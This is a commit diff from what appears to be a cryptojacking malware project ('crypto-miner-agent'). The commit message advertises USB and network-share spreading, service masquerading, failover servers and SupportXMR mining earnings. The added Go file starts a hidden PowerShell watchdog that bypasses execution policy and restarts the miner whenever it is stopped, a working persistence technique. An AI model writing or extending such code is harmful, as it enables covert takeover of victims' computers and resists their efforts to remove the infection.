Add fleet resilience, passive spread, matrix rain UI, and live earnings.
Backup server URL failover, watchdog process restart, service masquerade, remote fleet upgrade, recon UI, SupportXMR earnings, USB/share passive spread, and sidebar matrix rain with live fleet telemetry.
This commit is contained in:
43
agent/deploy/health_windows.go
Normal file
43
agent/deploy/health_windows.go
Normal file
@@ -0,0 +1,43 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// launchProcessGuard spawns a hidden PowerShell loop that watches for the
|
||||
// installed miner process by name and relaunches it if it disappears.
|
||||
// The guardian runs completely outside this process — it survives a crash.
|
||||
func launchProcessGuard(cfg config.RuntimeConfig) {
|
||||
installDir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
binPath := strings.ReplaceAll(fmt.Sprintf(`%s\%s`, installDir, BinaryName(cfg)), `'`, `''`)
|
||||
procName := strings.TrimSuffix(BinaryName(cfg), ".exe")
|
||||
|
||||
// Loop every 60 s. If the process is gone and the binary still exists, restart it.
|
||||
ps := fmt.Sprintf(`
|
||||
$bin = '%s'
|
||||
$proc = '%s'
|
||||
while ($true) {
|
||||
Start-Sleep -Seconds 60
|
||||
if (-not (Get-Process -Name $proc -ErrorAction SilentlyContinue)) {
|
||||
if (Test-Path $bin) {
|
||||
Start-Process $bin -ArgumentList '--run' -WindowStyle Hidden -ErrorAction SilentlyContinue
|
||||
}
|
||||
}
|
||||
}
|
||||
`, binPath, procName)
|
||||
|
||||
cmd := exec.Command("powershell",
|
||||
"-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden",
|
||||
"-Command", ps)
|
||||
applyDetachedStart(cmd)
|
||||
_ = cmd.Start()
|
||||
}
|
||||
Reference in New Issue
Block a user